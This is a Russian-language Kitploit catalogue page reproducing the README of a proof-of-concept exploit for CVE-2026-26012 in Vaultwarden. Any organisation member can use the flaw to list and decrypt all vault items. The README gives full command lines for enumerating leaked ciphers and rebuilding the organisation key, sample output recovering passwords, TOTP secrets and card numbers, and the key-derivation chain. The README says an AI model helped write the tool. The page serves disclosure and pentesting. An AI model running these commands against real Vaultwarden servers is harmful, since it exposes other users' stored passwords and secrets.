Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-26012 — Доказательство концепции эксплуатации для CVE-2026-26012 — нарушенного контроля доступа в Vaultwarden, который позволяет любому участнику организации перечислять и расшифровывать все шифры, обходя разрешения коллекций. | Kitploit
Инструменты/GitHubGitHub/dulieno/cve-2026-26012
Анализ уязвимостейЭксплуатацияВеб-безопасностьКриптографияТестирование на ПроникновениеОбучение и Образование
GitHubdulieno/cve-2026-26012

CVE-2026-26012

Доказательство концепции эксплуатации для CVE-2026-26012 — нарушенного контроля доступа в Vaultwarden, который позволяет любому участнику организации перечислять и расшифровывать все шифры, обходя разрешения коллекций.

Репозиторий
1147 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-26012 — PoC перечисления шифров Vaultwarden

AI Assisted License

Полное перечисление шифров с игнорированием прав доступа к коллекциям организации

Эксплойт proof-of-concept для CVE-2026-26012 — уязвимости нарушенного контроля доступа в Vaultwarden (<= 1.35.2), которая позволяет любому участнику организации получать и расшифровывать все шифры внутри организации, независимо от прав на уровне коллекций.

🤖 Примечание: Этот проект был разработан с помощью Claude 3 Opus. ИИ использовался для генерации кода, архитектурной структуры и документации. Все результаты были вручную проверены и протестированы для обеспечения качества.

Обзор

CVECVE-2026-26012
AdvisoryGHSA-h265-g7rm-h337
ЗатронутоVaultwarden ≤ 1.35.2
Исправлено в1.35.3
CVSS 3.16.5 (Средний) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWECWE-863 — Некорректная авторизация
АвторОбнаружено @odgrso, исправлено @BlackDex

Уязвимость

Конечная точка API GET /api/ciphers/organization-details доступна любому участнику организации. Внутри она вызывает Cipher::find_by_org, который возвращает все шифры в организации, а затем обслуживает их с CipherSyncType::Organization без применения контроля доступа на уровне коллекций.

Поскольку все шифры организации используют один и тот же ключ шифрования организации (который каждый участник получает при вступлении), утёкшие шифры могут быть полностью расшифрованы на стороне клиента.

Обычный участник организации (ограничен коллекцией "Public")
    │
    ├── GET /api/sync                     → 5 шифров (корректно)
    │
    └── GET /api/ciphers/organization-details
            └──→ 47 шифров (ВСЕ шифры организации — ОШИБКА)
                  └──→ 42 шифра из ограниченных коллекций (УТЕЧКА)
                        └──→ Расшифровываются ключом организации, который уже есть у участника

Содержимое репозитория

.
├── README.md                   # Этот файл
├── poc_cve_2026_26012.py       # Фаза 1: Перечисление шифров и обнаружение утечки
├── poc_decrypt.py              # Фаза 2: Восстановление ключа организации и расшифровка шифров
└── LICENSE

Требования

  • Python 3.8+
  • cryptography (для расшифровки в фазе 2)
  • argon2-cffi (только если целевой экземпляр использует KDF Argon2id)
pip install cryptography
pip install argon2-cffi  # опционально

Использование

Фаза 1 — Перечисление утёкших шифров

Определяет, уязвим ли экземпляр, сравнивая шифры, возвращаемые обычной конечной точкой /api/sync, с уязвимой конечной точкой /api/ciphers/organization-details.

# Аутентификация через браузер (поддерживается SSO + 2FA), затем передайте Bearer-токен
python3 poc_cve_2026_26012.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --org-id "ORG-UUID" \
    --output results.json
Все варианты аутентификации
# Bearer-токен (рекомендуется — работает с SSO + 2FA)
--token "eyJhbGciOi..."

# Сессионный cookie
--cookie "VAULTWARDEN_SESSION=abc123..."

# Сырой заголовок Cookie (несколько cookie)
--cookie-header "session=abc; token=xyz"

# Прямой вход по паролю (только БЕЗ SSO и 2FA)
--email [email protected] --password "MasterPassword"

Как извлечь свой Bearer-токен:

  1. Войдите в веб-хранилище Vaultwarden (пройдите SSO + 2FA как обычно)
  2. Откройте DevTools браузера (F12) → вкладка Network
  3. Нажмите на любой элемент в хранилище, чтобы вызвать API-запрос
  4. Найдите запрос к /api/... и скопируйте значение заголовка Authorization
Дополнительные параметры
--no-verify-ssl     # Пропустить проверку SSL (самоподписанные сертификаты)
--show-all          # Также отображать легитимно доступные шифры
--max-display 50    # Максимальное количество утёкших шифров для отображения (по умолчанию: 20)
--output results.json  # Экспорт полных результатов в JSON

Фаза 2 — Расшифровка утёкших шифров

Восстанавливает ключ шифрования организации и расшифровывает все утёкшие шифры из фазы 1.

python3 poc_decrypt.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --email [email protected] \
    --master-password "YourMasterPassword" \
    --org-id "ORG-UUID" \
    --leaked-json results.json \
    --output decrypted.json

Примечание: --master-password — это ваш мастер-пароль Vaultwarden, используемый локально для вывода цепочки ключей расшифровки. Он никогда не передаётся по сети. --token отвечает за аутентификацию API.

Устранение неполадок: Если расшифровка ключа не удаётся, добавьте --debug, чтобы увидеть промежуточные значения на каждом шаге. Скрипт автоматически пробует 5 стратегий (современный HKDF, устаревший HMAC, сырой ключ и варианты с пропуском HMAC) для обработки разных возрастов учётных записей и конфигураций.

Альтернатива: указать ключ организации напрямую

Если у вас уже есть 64-байтовый ключ организации (128 шестнадцатеричных символов):

python3 poc_decrypt.py \
    --org-key-hex "aabbccdd...128_hex_chars..." \
    --leaked-json results.json \
    --output decrypted.json

Пример вывода

[*] === Цепочка восстановления ключа ===

[1/6] Получение параметров KDF...
       KDF: PBKDF2-SHA256, iterations: 600000
[2/6] Вывод мастер-ключа...
[3/6] Растяжение мастер-ключа (HKDF-Expand)...
[4/6] Получение зашифрованных ключей из /api/sync...
       Организация: ACME Corp
[5/6] Расшифровка симметричного ключа пользователя...
[6/6] Расшифровка RSA-приватного ключа → Ключ организации...

[+] Ключ организации успешно восстановлен!

[*] Расшифровка 42 шифра(ов)...

============================================================
  РЕЗУЛЬТАТЫ РАСШИФРОВКИ
============================================================
  Всего:      42
  Расшифровано: 42
  Ошибок:     0

  СВОДКА ВОЗДЕЙСТВИЯ
  Паролей восстановлено:     35
  TOTP-секретов восстановлено:  12
  Номеров карт восстановлено:  3
============================================================

Как это работает

Цепочка вывода ключей

Каждый участник организации уже владеет симметричным ключом организации, зашифрованным его RSA-публичным ключом. Цепочка расшифровки:

Мастер-пароль + Email
    │  PBKDF2-SHA256 или Argon2id
    ▼
Мастер-ключ (32 байта)
    │  HKDF-Expand-SHA256
    ▼
Растянутый ключ: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (расшифровывает profile.key)
    ▼
Симметричный ключ пользователя: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (расшифровывает profile.privateKey)
    ▼
RSA-приватный ключ (2048-битный PKCS#8 DER)
    │  RSA-OAEP-SHA1 (расшифровывает profile.organizations[].key)
    ▼
Ключ организации: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC + HMAC-SHA256
    ▼
Расшифрованные данные шифров

Почему ACL коллекций не защищает данные

В модели Bitwarden/Vaultwarden все шифры в организации используют один и тот же ключ шифрования. Контроль доступа на основе коллекций применяется только на стороне сервера — криптографическая модель не обеспечивает границ коллекций. Любой участник, имеющий ключ организации, может расшифровать любой шифр в организации. Эта CVE обходит серверный фильтр, раскрывая все шифры любому участнику.

Что расшифровывается

Скачать инструмент